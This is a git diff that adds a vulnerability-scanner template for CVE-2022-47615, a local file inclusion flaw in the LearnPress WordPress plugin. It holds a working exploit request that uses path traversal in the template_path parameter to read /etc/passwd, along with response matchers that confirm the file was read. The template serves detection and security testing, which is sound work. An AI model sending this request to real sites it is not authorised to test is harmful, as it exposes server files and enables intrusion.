diff --git a/http/cves/2022/CVE-2022-47615.yaml b/http/cves/2022/CVE-2022-47615.yaml new file mode 100644 index 0000000000..324b75aa4e --- /dev/null +++ b/http/cves/2022/CVE-2022-47615.yaml @@ -0,0 +1,50 @@ +id: CVE-2022-47615 + +info: + name: LearnPress Plugin < 4.2.0 - Local File Inclusion + author: DhiyaneshDK + severity: critical + description: | + Local File Inclusion vulnerability in LearnPress – WordPress LMS Plugin <= 4.1.7.3.2 versions. + reference: + - https://github.com/RandomRobbieBF/CVE-2022-47615/tree/main + - https://nvd.nist.gov/vuln/detail/CVE-2022-47615 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cwe-id: CWE-434 + metadata: + max-request: 1 + publicwww-query: "/wp-content/plugins/learnpress" + verified: true + tags: cve,cve2022,wp-plugin,wp,wordpress,learnpress,lfi + + +http: + - raw: + - | + GET /wp-json/lp/v1/courses/archive-course?template_path=..%2F..%2F..%2Fetc%2Fpasswd&return_type=html HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: word + part: body + words: + - '"status":' + - '"pagination":' + condition: and + + - type: word + part: header + words: + - "application/json" + + - type: status + status: + - 200